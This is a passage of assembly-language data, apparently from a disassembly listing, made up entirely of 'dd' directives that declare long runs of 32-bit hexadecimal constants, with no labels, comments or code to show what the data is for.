52A773F0h, 0F1037021h, 9119E53Dh, 77CFB00Eh dd 827D24B1h, 492E005Ah, 19A28FA6h, 388CF600h, 4A2C3714h dd 0D4223063h, 3905FCE8h, 8CC9B501h, 0AA33F2FDh, 4BCED225h dd 65A7D06Ch, 0DF7E1C50h, 1B67CF87h, 21B49EE6h, 740B7A03h dd 0A0811AE4h, 1EE1206h, 0A79EA526h, 404C2CCEh, 6B8D23B8h dd 66F1107h, 0C5074E3Dh, 20BA5C40h, 1CD97D93h, 41230F3Ch dd 1429833Eh, 49C1D73Ah, 6982401h, 902FE7Dh, 4C3DF4F6h dd 8640C03Ch, 21020098h, 0C5D143E1h, 0F1008A9Ch, 0AF75962Ch dd 0B303FFh, 46DEAC6Dh, 86272BE5h, 2A355100h, 37563883h dd 2D92CD91h, 7559F810h, 24309504h, 4C74BDCh, 0F04E1113h dd 2CBB81D4h, 61EDAFh, 0DF049CF4h, 26E4F1A5h, 9D03DA1Ch dd 5CEE1501h, 50812930h, 6A2DF39Ch, 9398D02Eh, 0A1A06600h dd 0F0685E34h, 703A719Ah, 92BC7846h, 8E4003Ch, 0F3AD9939h dd 0FB00658Fh, 8E05F448h, 29B35F98h, 7C5187h, 2F32623Ah dd 5200BD72h, 13AD9526h dd 903B3351h, 0AE870088h, 6411D8D0h, 9F4E73F1h, 93629E0h dd 0CF3C558Eh, 0CCD0C800h, 15F01CCDh, 0AE1ABE00h, 0FA22376Ch dd 0C9BB0358h, 0A98A8E14h, 0D14833C0h, 54D3F630h, 0E056E3h dd 7F90D93Eh, 74497505h, 37401D00h, 0B1CEC4B9h, 0E7920CEEh dd 2C5882E9h, 246BAC1Eh, 2F24C96Ch, 0C043F31Ch, 0D8B9098Ch dd 0F8689957h, 0AAFB0133h, 299EF43Ah, 0C8F5FD93h, 9C122324h dd 271D128Fh, 0A33B2000h, 9EFCB7h, 7EE225D5h, 16310BF9h dd 2C6A7716h, 8BC1E501h, 0B040BDB7h, 7943115Eh, 46FC168Fh dd 0EF310F01h, 49148A00h, 0D0788429h, 0D5579E00h, 0C9D83246h dd 0D978264Bh, 0F900757h, 305837E3h, 41C8BEC2h, 0AFA0A900h dd 85289F7Ah, 0C36203A4h, 0C295A71Bh, 0DC7FC200h, 0FA44F8F9h dd 127500B7h, 3C68CFB0h, 1C17999Bh, 0D01FE218h, 44018316h dd 0EF1B5792h, 0B54C20h, 3C7D50EEh, 0E21DA879h, 0E69D2F00h dd 6C7F7465h, 3E50B0F0h, 0A100BE7Eh, 360E2354h, 0D8980FF1h dd 0E3A29901h, 9EAFCC6Ah, 0D82098E5h, 0ED3600ECh, 8F5B7121h dd 0DD1F9BAAh, 0DB434E4Fh, 0CB5AEA93h, 2120B881h, 0FD4A000Bh dd 51DD7E22h, 0EC007839h, 0EB3E41E9h, 58D22F88h, 103C81Ah dd 1103B6D3h, 0DC8E9F80h, 5934BC0Eh, 8C003205h, 69CE13C3h dd 0B9D90023h, 3084622Fh, 5C1E9E3Dh, 58CF60EBh, 43C56144h dd 51E82E0Ch, 811E30F7h, 58DD0808h, 80B6CB3Ah, 3A909198h dd 0F6D433h, 0C04B470Eh, 0C26D5BFBh, 0A87EFE3Fh, 9C008CDh dd 67161864h, 0DAA300F6h, 44DFC9Fh, 5000C06Bh, 0FC79EB8h dd 0E6575319h, 38F263h, 2635BB1Dh, 28DE5162h, 0D8F06F00h dd 4BCCD214h, 8202057Bh, 0D081298Bh, 0DA5A8448h, 0ED87D804h dd 4CCFBD03h, 17BA2F1Ch, 0A97B0077h, 0CA180CB4h, 80E49A48h dd 8A811DFAh, 5446002Eh, 48BDD639h, 0F160F696h, 0B2926516h dd 6D9D0766h, 0D07573B1h, 0DD6B5963h, 0D415A40Fh, 0A15F2ECDh dd 6A11BB05h, 9AF3F0h, 97BA5120h, 0DEEAB378h, 8412C91Eh dd 2C9D0680h, 0EE2F103Ah, 0FB900D0h, 1FC6910Ah, 0F61E61FFh dd 67C27EB0h, 5563206Bh, 0AFD6AD00h, 3900244Bh, 8E3437CDh dd 730A7325h, 4D8900E4h, 836D8243h, 0E0042F68h, 65A1D6DAh dd 0C0077E85h, 46C19538h, 2064A4BAh, 13D30070h, 6CD67EBDh dd 8033ECBh, 0C50CC4Bh, 456B98AFh, 2B862685h, 1803407Ch dd 527F9E3Bh, 0A006CA2Ah, 1FF49500h, 0AC0792E0h, 437FC5Fh dd 8F3D8BD4h, 0A2E0C3BEh, 15808EA0h, 61CCA405h, 0F081A94Eh dd 0A420DD48h, 0CDF91D4Fh, 0A65F037Bh, 0B07CAEC2h, 173A270Ch dd 2801C0AAh, 95B592h, 1FE0C0F2h, 0EAF48302h, 7527B33Ah dd 6CAA8617h, 0F1262003h, 0B023FBACh, 0C32B369Fh, 44613E78h dd 8C409165h, 0B7DD8C40h, 3728D3h, 0C0BD51A9h, 0A084EAAEh dd 0ACBF0C00h, 0F714AD80h, 34280061h, 3E081B17h, 0F600AA4Bh dd 33180276h, 0F93DBFh, 0ABD090ADh, 5E96D4CFh, 2DDC1D26h dd 5A16803Ch, 64B859B7h, 1BA10063h, 80537433h, 1909FBF1h dd 0C855B0h, 0A244E0F7h, 15D800A7h, 54ACFFF8h, 9400B98Bh dd 0E97E370Ch, 7ABD9399h, 49FC1C2Eh, 0B84241C8h, 0E41EB7C6h dd 0E11E0C75h, 0F140C1D8h, 36E7DA08h, 80850067h, 4C91022Dh dd 0EB50832Eh, 0C000FAACh, 79B0EA8Fh, 0E8953C8Ch, 83E301C9h dd 0F93A187Dh, 8708817Ah, 0BE015648h, 0B00BF440h, 2E0774E2h dd 80088684h, 55284BADh, 0FA027439h, 293A3370h, 0ED9060BBh dd 0D2E70188h, 7144166Dh, 7A5F60D6h, 0C4258100h, 0B1098F4Ch dd 147E03BCh, 750FA99Eh, 0EE3DC888h, 4F0A880Eh, 109CE11h dd 212296F7h, 0E31B84FCh, 0F23034EDh, 98E60079h, 51AE0660h dd 0B703BEB0h, 0F3EABB09h, 49A0F85Ch, 2F701DE1h, 3EF1E8Ah dd 78710A7Fh, 0D4488DE9h, 163DFB32h, 0DF23801Ah, 0C757A3B5h dd 6F8C051Dh, 803E4336h, 406E77D8h, 2F5CBC00h, 7C8E3BADh dd 249087h, 58DB6973h, 1DC5E96Ch, 0FA661417h, 5E69C07h dd 348657C0h, 0DCE30974h, 60A0AE7Ch, 778242C1h, 503A1A34h dd 784382C5h, 24F9B9E1h, 0E1DC45E2h, 804C2B42h, 0D527AD41h dd 0A8C5A9A8h, 1C3378A4h, 0C00FAF29h, 0D4646BB3h, 15E6BA3Eh dd 7A3CF100h, 54CF1D95h, 0B8510036h, 49CED0D3h, 4001B27Bh dd 968D56F4h, 0C6C4B3ADh, 66A30EA8h, 52207AACh, 31B68B2Bh dd 784203Dh, 3A105C64h, 0D48A0590h, 0E5740FDEh, 0C15E0AAAh dd 0D7DFBF08h, 20CC60A7h, 0D0987207h, 4CC037ADh, 0F4B5014h dd 0ED9E71E3h, 0FEB90EE3h, 0F8E093D1h, 7008FC8h, 0BDE1797Ah dd 1E8E8868h, 0AAA5760Ch, 692C00C0h, 0F5193B8Dh, 6B098586h dd 109105BBh, 796DF0h, 9E7D8FFCh, 218CBE61h, 84025D00h dd 3B1DA932h, 0AC9937h, 4ED168EBh, 3300BE3Ah, 0D3299F28h dd 0DB79Bh, 0F476ECC9h, 0A4DC749Dh, 491C4C7Bh, 41000AA1h dd 2A2370D1h, 0E6BF031Ch, 24D3B8Ch, 0BA008074h, 0F784033Dh dd 8B2262h, 0B476745Ah, 0D8156B55h, 66856900h, 4A8C7BF0h dd 37F90E97h, 8E200E64h, 1798C8F6h, 1E6A4C00h, 8CC2553Eh dd 9C440006h, 2E3189C3h, 6F05D4C1h, 0CED59A4Dh, 0CD412CC0h dd 7A7000B1h, 9E38D8Ch, 0FC01E4B8h, 0CE1C36EAh, 88405432h dd 5874AEA6h, 0F800E88Fh, 892D798Ch, 0B0B24248h, 0B8E6A003h dd 0C8C518D1h, 57F313Ch, 54B094F9h, 0CE80FE07h, 0F6FE902Dh dd 5EAA02E6h, 0DDDA8D27h, 2884A868h, 9E6A4605h, 88C20BC5h dd 0B7CB84B9h, 58206095h, 652FDBh, 0D883D266h, 435FCA9Bh dd 812EA4E6h, 7F97ACBAh, 94420C00h, 50CFE03h, 0F2146A80h dd 0FDDC42Eh, 2D601090h, 3662EB30h, 8641CA06h, 3D780971h dd 77810146h, 1BEA083Fh, 74513017h, 0B22F2200h, 0E61ABCD6h dd 4D7834h, 0FF61AD9Bh, 0DC08C010h, 8BCB221Ch, 4EF63A40h dd 27A7CAh, 4A5B70F3h, 0FA543B01h, 8FE42300h, 0CB822616h dd 917C3D72h, 5AF9AB85h, 0A933C0CCh, 8D98EABAh, 0FD43F700h dd 79143AD0h, 36D83DD9h, 0E008E280h, 0A8C22D83h, 6634ED00h dd 5BCF550Fh, 77FF00FCh, 37929569h, 0BA01DA1Bh, 0BB5D1B7h dd 6ED4BFE2h, 0A878BFFAh, 3CA9AC00h, 4FBC47E9h, 397008h dd 82D68340h, 7053B578h, 6D0AB41Fh, 14729240h, 0F4C3A31Bh dd 0D80B0001h, 2AA74260h, 0C6FC4EB0h, 7AC8F507h, 2C1008FDh dd 590CE0Ch, 0A7FC39D5h, 0DA0EC0CAh, 0B5E84E77h, 0D7C7C100h dd 0D632D918h, 8B58003Fh, 71BB0C74h, 6B015E49h, 8143458Ch dd 0E720EC75h, 3EDBE06Dh, 3E0CD338h, 4110DE7Ch, 552DF504h dd 9400D9EDh, 0A72AF7E1h, 8046CD3Dh, 9EC26DF9h, 280BB9Bh dd 0B172C9DDh, 0AC842D7Fh, 92670078h, 333BAA1Bh, 9028BF4Eh dd 0D0683CC9h, 300F97Eh, 875F7ABAh, 0F0EDC3B4h, 0E4EA1F9Eh dd 1C584036h, 0BFB0BD6Eh, 78F97000h, 7D444BFFh, 0E31807CFh dd 6043354Ch, 0E4A15F04h, 8C163900h, 0C46DF1F7h, 183FC59h dd 0B63C1C47h, 0C8829EFFh, 74000688h, 9D63F4ECh, 232658Ch dd 7635E92Eh, 70608DB8h, 80760236h, 0F0BF3007h, 153062CBh dd 5D9C22h, 0A0900FB4h, 10848FF8h, 1AD7A800h, 6D97ABB0h dd 0EE9601C3h, 244ADEE8h, 2E52C0B8h, 0A853FD1Eh, 1B803680h dd 838A60h, 2384290Eh, 4B9B73Fh, 8500A9ECh, 7448B0E7h dd 0CA0DB8h, 0FD02FFE0h, 55C7983Ch, 80E4933Dh, 0D336483Eh dd 0E6556E3h, 9E73098Dh, 54499FE0h, 5B1E9679h, 0FCC03962h dd 0C6B2315Ch, 44450051h dd 966F16BDh, 0C2008BDCh, 0D555BECEh, 0DD4C43h, 0EB7B85EFh dd 61C724F4h, 8A7FB602h, 40FCAFDAh, 1B04CE9h, 0EFA7BDA4h dd 0E965801Ah, 0C8F44022h, 35005081h, 0D40F044Ah, 0E43DFA1h dd 0CDC6F418h, 1D3A4821h, 460CC49Eh, 7913700h, 1782A211h dd 0F2320041h, 84081309h, 7B014AD8h, 6F99EA9Fh, 61BA2CA5h dd 0ED4C5A7h, 0D23C1100h, 1CF50438h, 0C9E8BD3h, 712850BAh dd 45FA2016h, 4B49C603h, 572F9943h, 49DFA2E4h, 0C100A0C2h dd 27642946h, 993A178Fh, 0D9A41423h, 9B4B0110h, 0B7F1B24Fh dd 41E07131h, 6F7300A6h, 0D411A1BAh, 74E82971h, 38A22433h dd 1D9006D3h, 587832EEh, 0DE991401h, 0D0F9627Eh, 0BBFE7000h dd 0D4F8B703h, 0A061DDE4h, 14DAD83Fh, 74296FC1h, 0D5C7BA04h dd 2D720040h, 0E8CC2678h, 0FD27008Fh, 0D1EB0DE0h, 0F6001528h dd 0F8190216h, 8C328Bh, 0FC6FF1C1h, 0E8B30C13h, 2F39C5F2h dd 1C5C805Ah, 1579499h, 0B08079Dh, 0A14BA0h, 74C081BFh dd 0E3B6E700h, 3DC6C9E1h, 84E80079h, 9809E56Bh, 0E9008135h dd 8B283783h, 0DFB07Ah, 0BDC7C00Bh, 0D506FBE1h, 3A39B103h dd 0B864A921h, 0F798F5h, 0E1E2324Fh, 0B7442EDBh, 2C001EE8h dd 0A72BE3D2h, 0E7D3F5Eh, 7AC23111h, 20351892h, 2A398B72h dd 0BE1F8062h, 585A21E4h, 0CD7A3909h, 98B29B9Eh, 7DD45976h dd 2A950286h, 7ACF5EE5h, 7C108C19h, 0F5032BFDh, 9D6FF825h dd 59390FBDh, 7B60504Eh, 2E60F7CDh, 0E249A800h, 2C146E6Bh dd 21DB29E0h, 2BC60060h, 60975EFCh, 71801642h, 0A4632BFAh dd 0F3EA3701h, 0E27B524h, 0E2482900h, 0F8601360h, 0C036604Dh dd 0E53F1E18h, 5EE8BBC4h, 11813C30h, 3A01C2Dh, 0CCF45BFEh dd 89E0368h, 90218960h, 0A6A7A2h, 0FD8EBE98h, 3C4BF8F7h dd 325D720h, 0D51D06F0h, 0B7E13522h, 5D38808Dh, 4A6E1B9h dd 0F73C00EDh, 0EACE808Bh, 0C700444Dh, 42D2DC15h, 7C281E97h dd 0C8DFACDh, 886B68E9h, 4B1DA440h, 55801B57h, 91E7E132h dd 0C0ABE82Bh, 58B37261h, 0FB0FCE93h, 4F10FE94h, 8EC44005h dd 0C0140295h, 39876810h, 4B00B23Ch, 8857DC22h, 530342h dd 0A47C842Fh, 7C243C6h, 651D2300h, 29042D7Dh, 136E3C4Bh dd 0FEF93600h, 48609681h, 0BA8B4900h, 16E8452Eh, 0EEE55C3Ah dd 79F4AC1Eh, 7FD9F900h, 2C2371ABh, 0B0774800h, 7D6322B4h dd 52700B6h, 0AFE46CF4h, 0B300EB10h, 3F4F3801h, 4E88Fh dd 0C670B7A6h, 0C1393B77h, 0B9085400h, 0D250A823h, 0CFE43C6Dh dd 243C9700h, 8078A6F1h, 6002E639h, 0EFA8C418h, 0AC5D0067h dd 919EAFD7h, 2200EBF5h, 951FEA03h, 1C3D316Bh, 40D7B15Fh dd 751C8E66h, 7E008B22h, 0EA537944h, 1560B03h, 5AF2AFC9h dd 0A107B9CBh, 0BA700460h, 3518A2BEh, 7100D404h, 9CA7F424h dd 0B32B7Fh, 796B7E5Fh, 61C162D2h, 0E4D0B900h, 1DA413DCh dd 7AB002Bh, 5B362612h, 0E1190A7Fh, 8C50E2B4h, 2E9102E4h dd 6AF446h, 0AB315993h, 0A0033BBEh, 0BD636B08h, 0CA200184h dd 4CB6B785h, 1C204E27h, 80E19D1Ah, 13D82533h, 2E039083h dd 0D3AF07ACh, 1C97976h, 63CE9C80h, 907A1F09h, 0EBC38C10h dd 78935387h, 0D47C4C0h, 0A65E1C00h, 0FDF5101Dh, 1B3DF877h dd 0F86A48D1h, 0E08173F9h, 10D9692Fh, 0F27850h, 682DEAB6h dd 0F7889560h, 0C386012Bh, 0A387F429h, 0B48468EEh, 43DE340Ch dd 162066h, 6D5504ACh, 0A0A12A31h, 8C309350h, 0B16BF733h dd 5D9BC032h, 2048F171h, 0BFAF0458h, 2AFB5A54h, 636E2379h dd 44AC2580h, 47515D4Bh, 637CC42Bh, 2BC08B29h, 1FEF05FBh dd 0D4D8206Ch, 72082881h, 2E1CBEBCh, 404011D2h, 0C2A82DA1h dd 40AB0027h, 6422E19Eh, 4624CF23h, 88823867h, 43A8B35Bh dd 4089E20Ch, 0EF9C9B14h, 2051ACE1h, 90EC9E4Bh, 0A2894269h dd 79D522EFh, 10B0204Ah, 0A4004268h, 1C7B700Ah, 44DAE110h dd 9F466E7Eh, 8C50160Fh, 77812015h, 0A0C7A15h, 0F5782288h dd 3A98201Eh, 77FF4910h, 0E2933FF1h, 847C738h, 6327E70Eh dd 90EFCD0Fh, 29CC33F3h, 944A8080h, 179BE948h, 827048Fh dd 0B00075BEh, 0CE0AABA8h, 9F8A8F1Ch, 17C020B0h, 2BB48547h dd 0C240EA4Ah, 20941A2Fh, 0AF10DD08h, 22854F5h, 1808C05Eh dd 4E0DDD8h, 80D538E6h, 0C9B9CA10h, 9A49650Fh, 51362047h dd 4200A2Ch, 0FDD506C2h, 2D58D083h, 2740B1D7h, 26E27836h dd 2310913Fh, 1C710120h, 1F05F5B7h, 0E5906B10h, 29E2CB81h dd 8729405Eh, 0A6BF6020h, 0C18D1DD8h, 0D0B3512Ch, 42852734h dd 21495AFh, 0F9A55127h, 8153A66h, 0EB709137h, 0CBE7114Ch dd 96E3F205h, 377D0840h, 5254A560h, 3C0201Fh, 1469EB1h dd 92CB888Fh, 0A1636A07h, 867C21CBh, 0A8333764h, 82AF7400h dd 2B276E89h, 2D3C938Fh, 440BEE8h, 2D8998A3h, 6342987Ch dd 42280093h, 1FC41B30h, 0B0D4908Fh, 181EAF6Dh, 40025956h dd 88D6774h, 155062A0h, 84680AACh, 0F140C257h, 0C0600BD0h dd 0C332E42Dh, 2C4C4485h, 15AF7A68h, 20C95094h, 68C668E2h dd 8085221h, 49582A62h, 11E4FC9Eh, 0F1CAEF3Ch, 600A9BD3h dd 0E9A71140h, 0CFCF472Ah, 58F5C883h, 32135CFh, 0F975128h dd 73725502h, 523ED424h, 0C0C160DBh, 0AF2C909h, 5820278Ah dd 622185C4h, 9DEB50D4h, 0D7CA0287h, 60BC4AD3h, 9CFF20h dd 0FE1013D3h, 1507AB22h, 2CFAEF2Ch, 4147BB60h, 443C2C24h dd 0E61154CCh, 1D38C5Eh, 3CB93A4Ch, 0F2880AA7h, 7162D561h dd 0C1A0E200h, 4B8489Bh, 6DABD7Ch, 4C8AC77Ch, 51130168h dd 0CD40DD59h, 73291F05h, 0F2676020h, 40AFD3FDh, 883CEF13h dd 40E89144h, 32B907E6h, 0ACC42A47h, 208CE30h, 2116F1E8h dd 0B04C3E2Bh, 28ECF088h, 202D5718h, 38374884h, 0EA160852h dd 84F82D8Eh, 0A91C866Eh, 60C07553h, 0F21AAB47h, 0DDB518BCh dd 4F6B185Ch, 0A8E31E01h, 6F6EB1C6h, 0A0F192E1h, 80CAC9E3h dd 2D7D2051h, 8FBD93E0h, 507A8E88h, 360460ABh, 0B109E092h dd 7B43267Ch, 213DF681h, 2B405EE9h, 0C9A020EAh, 0EC9DE40Ah dd 21548034h, 95432422h, 0E30B9860h, 1F60AFB2h, 4C40219Eh dd 2BBAB563h, 0C120D7BEh, 1DB582C1h, 80660F8h, 0BDEF05F1h dd 427ABAF8h, 87BDC1A0h, 3EDADB12h, 5877671h, 2B48DD07h dd 20722BC0h, 33637987h, 0BC294631h, 4091731Fh, 11907CE0h dd 1F60AF01h, 0FC021E2h, 85EAACF0h, 803C5E45h, 0F7931582h dd 7AE24065h, 8F0A809Eh, 20144C8Ah, 20F4AF1h, 2B155701h dd 867C3EBCh, 930A3A87h, 0F140BBF4h, 4AE21002h, 88C8018Eh dd 7B60F6DEh, 0CFC7D32Bh, 0CEFF5900h, 0C605BB30h, 51E0C513h dd 878B2802h, 0CC9420AFh, 8601DB30h, 0FC5378C8h, 0E7E37BA8h dd 6715B180h, 7838D8A6h, 28A0CECDh, 9480A754h, 0E920A688h dd 0E01D121Ah, 0A2F99C1Eh, 376D0C9Dh, 13189601h, 506F55FEh dd 0F4858431h, 7FB74D43h, 0FD2500ECh, 0FEE1F611h, 371E43Bh dd 6B4CEB78h, 68101EE8h, 0CE149385h, 780188D2h, 0DBAFC248h dd 34CDC441h, 0A5DDE700h, 75E4A3A6h, 9CFB3957h, 52E1FE80h dd 0E8337073h, 2BBF4F00h, 0DB78C213h, 5EE001F6h, 0B3C8F09Ah dd 5A598019h, 0D935B683h, 0BD430592h, 8289C0C5h, 0C899E86Eh dd 71FCE0FAh, 0C2B98718h, 36AE120h, 0E83FD73Bh, 15C9C7FDh dd 36E450EAh, 5200482Ah, 6D4457AFh, 603CC5E9h, 24C6BE37h dd 0B0ECB1CAh, 57805D18h dd 546D1580h, 1C55F0EBh, 4037B103h, 3C3974A7h, 4A001183h dd 76B30B71h, 170209C5h, 0EFE2132Ch, 81A5BB00h, 78AC623h dd 0A554DEFh, 48DFB274h, 2015A491h, 60C2A16Bh, 0A186FC9Fh dd 0E9C741D8h, 44DBC040h, 0B8F83C69h, 5861E318h, 0BD0052C9h dd 0B4A3339Eh, 0A171FB6Ah, 0A850C8ACh, 8C5F709h, 0DE868084h dd 4C5003BFh, 0C6E93A22h, 6BFB4460h, 848377Dh, 0D7B1007Ch dd 62454F59h, 0A1FDF0AEh, 1020C080h, 0EAE11EB2h, 7850B6ADh dd 3693C704h, 6840CBE8h, 9E7CB5C2h, 8881E48h, 3B99F117h dd 0B16DDD8Ah, 538257A8h, 83CFD9F2h, 3122BF8h, 0F5A5F6C9h dd 18050231h, 904CE9DEh, 0CB298047h, 60C8FA66h, 0D39731F7h dd 0BD00107Fh, 0F80F28Bh, 0A1DE139h, 0FEF3DF6Fh, 222903C4h dd 610ECD1Ah, 7707E97h, 0C3E74D9Bh, 7F77186Ch, 3B721096h dd 0C4BF2AF0h, 39C33137h, 0E000FD85h, 0D6011D43h, 0C1860C88h dd 6D20C5DFh, 0B5CBFDh, 7D053750h, 147D3B80h, 80C777Dh dd 219B4D13h, 4A78C9DBh, 5F9D402h, 0E5CAF0A0h, 6F06C02Ah dd 0D1F7795Dh, 0D0B47619h, 52779091h, 487073h, 966E80A7h dd 8409B9FDh, 78B36Ah, 4C180B2Ch, 494F18D5h, 1D1638E7h dd 0A13F0F1h, 96ADF206h, 699AC1h, 0A1E83D47h, 0EA2EFC9Ch dd 45C6B401h, 5EA5E949h, 0F08C8848h, 0FE41098Bh, 808A086h dd 4B8E12D8h, 0A5DCF70h, 7B4224F0h, 2C9060C5h, 7A230CC7h dd 1E178F4h, 10E40F24h, 81B8D494h, 3D89FDCFh, 0EB0458BEh dd 9122FAEFh, 0E83244B4h, 8B3072E0h, 90FDE003h, 76A18FFh dd 18BB1054h, 0C3134708h, 0B9B50157h, 0F42789B1h, 0C209FC07h dd 1C9F1F7h, 0CD4B4834h, 1764F8F3h, 9C10489Fh, 122C7B07h dd 8D904C53h, 0C0E9CB12h, 0AFA75822h, 88DDC40Ch, 9D62AB48h dd 7F1886C1h, 154707D9h, 0CF3EEF43h, 9EA62500h, 4AFC6AE4h dd 64E3A8C5h, 4DCF8C41h, 84CACC01h, 0E481BD80h, 91047EFBh dd 40E3CDF0h, 2F6FD0A0h, 62E46E48h, 11F66218h, 0C38057BFh dd 190945F3h, 80C91FC2h, 2D4FDD94h, 9F0D249h, 208BA0h dd 32531755h, 82C4D8A3h, 608125E0h, 0C77FEDh, 0AECA23C1h dd 0D974FE24h, 75E74861h, 13A800E8h, 0F3887871h, 3A42201Ah dd 802308Ch, 8BC27B35h, 0CEC50271h, 0CA08808Fh, 71EB5361h dd 3023F011h, 74051F8Ch, 0D6AF6AE0h, 12892083h, 0F47BD8h dd 15C8C344h, 585DBCC5h, 0FD88698Ch, 0F5863900h, 0EA13FDF0h dd 0BC0D85E6h, 48FFD833h, 6D3C71C1h, 0CFD3912h, 6078A9A0h dd 0A7082746h, 3F42334Eh, 78DC3091h, 46085042h, 0D6623A42h dd 1C1A19E5h, 0BBC3217Dh, 0EF084739h, 4F45366Eh, 0ABA87831h dd 3CA6020Ch, 4286F1EEh, 0E02B28CEh, 0EC766728h, 31114BA3h dd 206EE87Ah, 3EB5907Dh, 0F2AA05F7h, 0A860D83Ah, 0A889ED82h dd 89AE7E18h, 71F830ABh, 24C2E644h, 14444062h, 8482609Fh dd 9610507Fh, 0B2218C5Ah, 759A8AF4h, 61C1C19Ch, 465C08AEh dd 53573A22h, 9C9311D8h, 31A10885h, 48DAFE9Ch, 0E2459A6Ch dd 76527888h, 29625DC2h, 0E8B3DC82h, 0DCA2D089h, 380CCBE9h dd 8F4A566h, 0E442AF3Ah, 4CE33023h, 71DD58ABh, 4C8474F4h dd 0F4AE6694h, 94FB4A21h, 0DC23CFAh, 0B010B5F4h, 0C78B8824h dd 90DF501Ah, 0EC1822C1h, 96411B4h, 0AFCFA984h, 913B213Fh dd 0E4407B12h, 18AC983h, 20214718h, 9C932708h, 64C12888h dd 0E892716Eh, 493EC44Ch, 92F16024h, 421851C1h, 2A101F77h dd 23DAC4F2h, 42CE309Ch, 84902BBBh, 6C229F8Ah, 9CC40F91h dd 38D632CCh, 0F086CF0Eh, 103CA47Bh, 88AE608Dh, 5E93E180h dd 8EDF0833h, 5351B010h, 56E22688h, 0E8581A92h, 10613C88h dd 10CC4786h, 0EBC44D33h, 0FC724A9Ch, 119FB60Fh, 48C7624h dd 0C3341B7h, 933D61A4h, 898C1080h, 30440486h, 2CA780A4h dd 69D85562h, 429C2808h, 76118093h, 0C5E531C6h, 462408B5h dd 570B1027h, 679CFBC4h, 0D8317DC5h, 82184362h, 8C75F88Ch dd 0B4EA3D10h, 613CD48Ah, 1366BBFh, 0B470DB91h, 0B3DE406Dh dd 0A81DC42Ch, 3768EF05h, 887FE88Ch, 0F87C6AFEh, 0E3E9ED05h dd 0C0C0D4C9h, 0A264C645h, 0FECCC99Ah, 20C451A0h, 0F739F503h dd 24527Eh, 0FD8729ADh, 84102DE3h, 80DC5355h, 0B0C3D698h dd 0CEE108h, 7DA2DC99h, 0C6398CAFh, 5EF18C0h, 0ED1509C3h dd 0C0AC109Dh, 14C7179Bh, 0E083CF2Dh, 0F922FCDh, 133A7B1Fh dd 8719658Ch, 4212B900h, 0C5CAC773h, 157C0Dh, 7F928F03h dd 0CEE506E6h, 30B1DC33h, 9004E025h, 0EFE20Bh, 150A4EF1h dd 9B5C29D7h, 21AF2206h, 89672Fh, 0C6928E6h, 0C923A38Eh dd 0E9F1803h, 19606B1h, 0EABDB0A9h, 100F2D19h, 0C0DC4D23h dd 1F297629h, 0FB00ED27h, 0FBD8F06h, 187DCFE1h, 0C813D630h dd 3D80C7EEh, 14B20089h, 3128B116h, 8328AC4Dh, 56089CA3h dd 8CFEE51h, 3CBE328Bh, 0A48F2918h, 0D06AC18Ch, 6C9000E7h dd 49AE3E5Ch, 0AD18612Bh, 0AC293AC0h, 1F340CA3h, 53989B4Bh dd 2199B51Ch, 0F29F6080h, 541731E5h, 287798B0h, 3A430D6h dd 82AFDF15h, 0E145C868h, 77E88668h, 2851E84Dh, 0C3F4CADFh dd 42CDB150h, 8F29C10Ch, 1277959h, 352B30E5h, 0F1B1AED3h dd 0E243E0EAh, 1811D461h, 0AC50BD9Bh, 0C6DB9E5h, 4D3AC817h dd 9FF809D6h, 64B18407h, 7CF7EA6h, 0D8EEBA6Bh, 0A7730E9h dd 0B125EF01h, 0BC9EBCE8h, 302A49h, 0D628BF5Ah, 7763ADC0h dd 22493506h, 718FA56h, 0E43DC1CBh, 0B3AA800Eh, 0EB77DBEAh dd 0A00C6B0Eh, 0CFEF8010h, 0CBAD64h, 0C6BF29E7h, 82337AD5h dd 32C4800h, 0C9FE6FC7h, 0DF8F3D59h, 0AA5D1978h, 5080686Ah dd 9E12850Ch, 637FC101h, 924DDB39h, 62A9C9E0h, 5B8E202Dh dd 19C01893h, 3F00CC9Eh, 2BF0171h, 3EC4B8ACh, 0F9188CB0h dd 0B1F3A8D6h, 0C0EEDA30h, 315A79BFh, 5DF1A326h, 0C9E01006h dd 58466055h, 0C87AE231h, 88C4B52h, 154A325Dh, 0C8621408h dd 220175BAh, 3081FC33h, 0DDF1CCE5h, 2798E041h, 0AA3DD603h dd 40D54983h, 0C1998E90h, 5D849091h, 0D6188CD1h, 0C2C40FDh dd 26274B3Ch, 34749750h, 0C553E81Eh, 0CEA02877h, 0A00CD025h dd 17D83C8h, 0CD010740h, 81E54179h, 0F92D9A58h, 0A88199ADh dd 0D1B3FE4Dh, 0BF94D885h, 0D70EAE18h, 14861640h, 0A070840Ah dd 9BA20D0Ah, 0B1CB0648h, 0AC395132h, 0A3A8D4B3h, 0EE105962h dd 0BBE10028h, 60A30B15h, 62EBCB0h, 77F07100h, 797A73CAh dd 9B49C202h, 0CD00D2C5h, 2A4476F0h, 2AB4F197h, 72CAAFDh dd 79E3E0F3h, 80D8EAC9h, 112EA87Eh, 7A7C8991h, 0B4395461h dd 81852755h, 20F81085h, 0D89BAD24h, 0B2142A7Eh, 814806FFh dd 0F9A14E24h, 4CD5A040h, 496B60ABh, 81A77887h, 43EC7E0Fh dd 0FED465AEh, 0DF903003h, 5F17DA2h, 0AD2232C4h, 3F0847FCh dd 0EE35C1E6h, 0A102048h, 0A8794F19h, 0D5D017A9h, 0F150C04Dh dd 0DB37BE7Ch, 8398FE0Dh, 0DF60184Eh, 0C0393851h, 15E8FA01h dd 20D33256h, 69C0F360h, 0AD046F78h, 0C090AB3Ch, 304E38FAh dd 0F692C7Fh, 800CF4F7h, 597A2384h, 3FA71D9Eh, 93DA83ACh dd 0B9505E86h, 73706394h, 0C2348084h, 0B9324D5h, 0EFC443E8h dd 3846CB82h, 0F2448C02h, 45602E90h, 42AD0408h, 3A0CC3E8h dd 40767FB1h, 0FC2E9588h, 2673F40h, 8DF929A2h, 5840DD05h dd 0D93BE71Eh, 92B4C84h, 2D671C1h, 80089058h, 2BBDF32Ch dd 254F9882h, 0E056C09Eh dd 0F087761Fh, 0D88A64CAh, 20A8F63Dh, 0CD781FACh, 22E97A60h dd 1E8833CFh, 0D54FD8EEh, 75009C46h, 53F83E8Ah, 52F849D9h dd 18AC19C0h, 9855BEF3h, 46252044h, 0A50E772h, 580ACB10h dd 0CCE142B4h, 1020A420h, 0F6311EA2h, 0E3E20A7Ah, 91323C88h dd 0E0AF3010h, 543CB301h, 0BA18434Bh, 0E80BC8C0h, 20946289h dd 1532183Bh, 811BB20h, 0A1B25AE0h, 309FC208h, 7540A203h dd 87DA88A3h, 79B82560h, 14456B30h, 9CD546ABh, 0DA95DE06h dd 0F00228D4h, 